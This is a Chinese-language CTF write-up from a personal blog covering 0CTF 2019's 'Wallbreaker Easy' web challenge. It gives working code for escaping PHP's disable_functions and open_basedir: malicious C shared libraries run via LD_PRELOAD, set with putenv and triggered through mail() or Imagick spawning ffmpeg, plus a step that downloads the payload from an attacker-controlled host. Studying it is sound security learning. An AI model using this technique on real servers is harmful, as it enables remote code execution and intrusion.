Sky's blog

2019 0CTF Web WriteUp

字数统计: 2,141阅读时长: 10 min
2019/03/25 Share

前言

二刷0ctf,去年被虐的很惨,今年还是一样 :(

Ghost Pepper

jolokia/list发现karaf,动态路由安装webconsole……直接结束

Wallbreaker Easy

拿到题目

1
2
3
4
5
Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
Hint: eval($_POST["backdoor"]);

题目给了3个信息:

  • execute /readflag to get the flag
  • Open basedir: /var/www/html:/tmp/d4dabdbc73b87e364e29e60c60a92900
  • Hint: eval($_POST[“backdoor”]);

我们知道题目是有后门的,但是有disable_functions限制,所以我们首先查看一下phpinfo内容

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail

过滤非常多,但思路非常清晰:
1.bypass open basedir
2.bypass disable functions
3.execute readflag

open basedir

我们做个简单的测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
php > ini_set('open_basedir','/var/www/html');
php > var_dump(scandir('/var/www/html'));
array(5) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(7) "hack.so"
[3]=>
string(10) "index.html"
[4]=>
string(23) "index.nginx-debian.html"
}
php > var_dump(scandir('/tmp'));
bool(false)

即open basedir是用来限制访问目录的,我们看一下题目源代码

1
backdoor=readfile('index.php');

可以得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$dir = "/tmp/" . md5("$_SERVER[REMOTE_ADDR]");
mkdir($dir);
ini_set('open_basedir', '/var/www/html:' . $dir);
?>
<!DOCTYPE html><html><head><style>.pre {word-break: break-all;max-width: 500px;white-space: pre-wrap;}</style></head><body>
<pre class="pre"><code>Imagick is a awesome library for hackers to break `disable_functions`.
So I installed php-imagick in the server, opened a `backdoor` for you.
Let's try to execute `/readflag` to get the flag.
Open basedir: <?php echo ini_get('open_basedir');?>

<?php eval($_POST["backdoor"]);?>
Hint: eval($_POST["backdoor"]);
</code></pre></body>

题目也是使用了这样的限制,我们只能访问

1
2
/tmp/md5("$_SERVER[REMOTE_ADDR]);
/var/www/html

那么如何bypass open basedir与disable functions呢这里不难搜到这样一篇文章

1
https://www.tarlogic.com/en/blog/how-to-bypass-disable_functions-and-open_basedir/

文中提及,我们可以用LD_PRELOAD+putenv打一套组合拳,既能绕过open basedir,又能绕过disable functions

LD_PRELOAD与putenv

这里我们先来看一下原理,首先什么是LD_PRELOAD?
google给出如下定义

1
LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

即LD_PRELOAD这个环境变量指定路径的文件,会在其他文件被调用前,最先被调用
而putenv可以设置环境变量

1
putenv ( string $setting ) : bool

添加 setting 到服务器环境变量。 环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态。
同时该函数也未被过滤。那么我们可以有如下骚操作:
1.制作一个恶意shared libraries
2.使用putenv设置LD_PRELOAD为恶意文件路径
3.使用某个php函数,触发specific shared library
4.成功进行RCE

而既然要在php运行时被触发,那么势必选择一个非常常用的函数才行
那么怎么找到这个函数呢?

传统方式(hijacking function)

在已有的文章中显示,一般使用phpmail()函数进行触发,我们简单分析一下
这里简单写个demo

1
2
3
<?php
mail('','','','');
?>

我们strace一下,可以看到运行这个脚本的时候,程序会启子进程来调用sendmail

1
2
3
execve("/usr/bin/php", ["php", "test.php"], [/* 20 vars */]) = 0
[pid 23864] execve("/bin/sh", ["sh", "-c", "/usr/sbin/sendmail -t -i "], [/* 20 vars */]) = 0
[pid 23865] execve("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-t", "-i"], [/* 20 vars */]) = 0

那么我们只要看一下sendmail使用了哪些函数

有很多函数可以使用,这里可以选择geteuid(),然后我们编写自己的evil shared libraries:hack.c

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("ls / > /tmp/sky");
}
int geteuid()
{
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

然后编译一下

1
2
gcc -c -fPIC hack.c -o hack
gcc --share hack -o hack.so

然后我们运行脚本

1
2
3
4
<?php
putenv("LD_PRELOAD=./hack.so");
mail('','','','');
?>


不难发现它执行了命令,然后可以发现/tmp目录下多了一个文件sky

1
2
root@sky:~# ls /tmp | grep sky
sky

我们查看一下

1
2
3
4
5
6
7
8
9
root@sky:~# cat /tmp/sky
bin
boot
dev
etc
home
lib
lib32
....

发现成功执行命令

改进版(hijack shared library)

但其实这个方法是将条件变得严苛了,我们干的事情局限于找到一个函数,然后对其进行注入
但实际上我们可以更加直接,我们先将sendmail进行删除

如图所示现在已经没有了sendmail,但我们依旧可以进行rce,可使用如下文件sky.c

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

其中__attribute__ ((__constructor__))有如下说明

1
2
3
1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的.

函数寻找

但本题中mail函数已被disable_functions限制,所以我们并不能按照上述模式进行攻击。那么我们要找到一个什么样的函数才能满足我们的条件呢?
从上述内容不难发现,我们必须找到一个能在运行时候启动子进程的函数才行,因为我们设置了环境变量,必须restart才能生效,所以如果能启动一个子进程,那么我们的设置的LD_PRELOAD就会加载我们的evil shared library.
这里我们发现题目提示

1
So I installed php-imagick in the server, opened a `backdoor` for you.

所以我们主要探究php-imagick到底能不能干类似的事情
我们阅读php-imagick源码

1
https://github.com/ImageMagick/ImageMagick

我们发现如下对应关系

我们发现当文件是MPEG format时,程序会调用’ffmpeg’ program进行转换,而如下后缀都被认为成MPEG format

我们测试一下.wmv
写出脚本

1
2
3
<?php
$img = new Imagick('sky.wmv');
?>

我们测试一下

1
2
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0
[pid 25217] execve("/bin/sh", ["sh", "-c", "\"ffmpeg\" -v -1 -i \"/tmp/magick-2"...], [/* 21 vars */]) = 0

可以发现的确成功启动了子进程,调用了ffmpeg
但是如果sky.wmv文件不存在时

1
execve("/usr/bin/php", ["php", "sky.php"], [/* 21 vars */]) = 0

则不会调用ffmpeg
所以也不难分析出,应该是有一步判断文件是否存在的操作,再会去进行调用相关程序进行解码转换的操作
所以如果想利用Imagick新起子进程,那么我们得先有后面的参数文件,当然这并不是什么难事。

payload & attack

那么只剩最后的攻击了,找到了可以起子进程的方式,只差构造evil shared library了
我们还是用之前的sky.c

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

然后编译一下

1
2
gcc -c -fPIC sky.c -o sky
gcc --share sky -o sky.so

测试一下

1
2
3
4
<?php
putenv("LD_PRELOAD=./sky.so");
$img = new Imagick('sky.wmv');
?>

运行发现

1
2
3
4
5
6
7
root@sky:~# php sky.php
bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 lost+found media mnt opt proc root run sbin srv sys test tmp usr var vmlinuz vmlinuz.old
PHP Fatal error: Uncaught ImagickException: unable to open image `/tmp/magick-25528VpF8npGTawCz.pam': No such file or directory @ error/blob.c/OpenBlob/2712 in /root/sky.php:3
Stack trace:
#0 /root/sky.php(3): Imagick->__construct('sky.wmv')
#1 {main}
thrown in /root/sky.php on line 3

我们成功的进行了列目录

getflag

那么现在思路很清晰:
1.把我们的sky.so和sky.wmv上传到题目的/tmp/sandbox中
2.利用backdoor运行sky.php
3.在tmp目录读取重定向的结果
首先我们按照题目意思,调用/readflag
文件内容为

1
2
3
4
5
6
7
8
9
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>

__attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("/readflag > /tmp/d4dabdbc73b87e364e29e60c60a92900/flag");
}

然后是上传文件,我们有很多种方法,这里可以使用

1
2
$upload = '/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv';
echo copy("http://vps_ip/sky.wmv", $upload);


我们可以看到上传成功了
然后我们执行

1
2
putenv("LD_PRELOAD=/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.so");
$img = new Imagick('/tmp/d4dabdbc73b87e364e29e60c60a92900/sky.wmv');


可以看到flag已经打到了/tmp目录下
我们进行读取即可

后记

这个题目还是比较有趣的,学习到了不少姿势~

1
文章首发于安全客
点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. Ghost Pepper
  3. 3. Wallbreaker Easy
    1. 3.1. open basedir
    2. 3.2. LD_PRELOAD与putenv
    3. 3.3. 传统方式(hijacking function)
    4. 3.4. 改进版(hijack shared library)
    5. 3.5. 函数寻找
    6. 3.6. payload & attack
    7. 3.7. getflag
    8. 3.8. 后记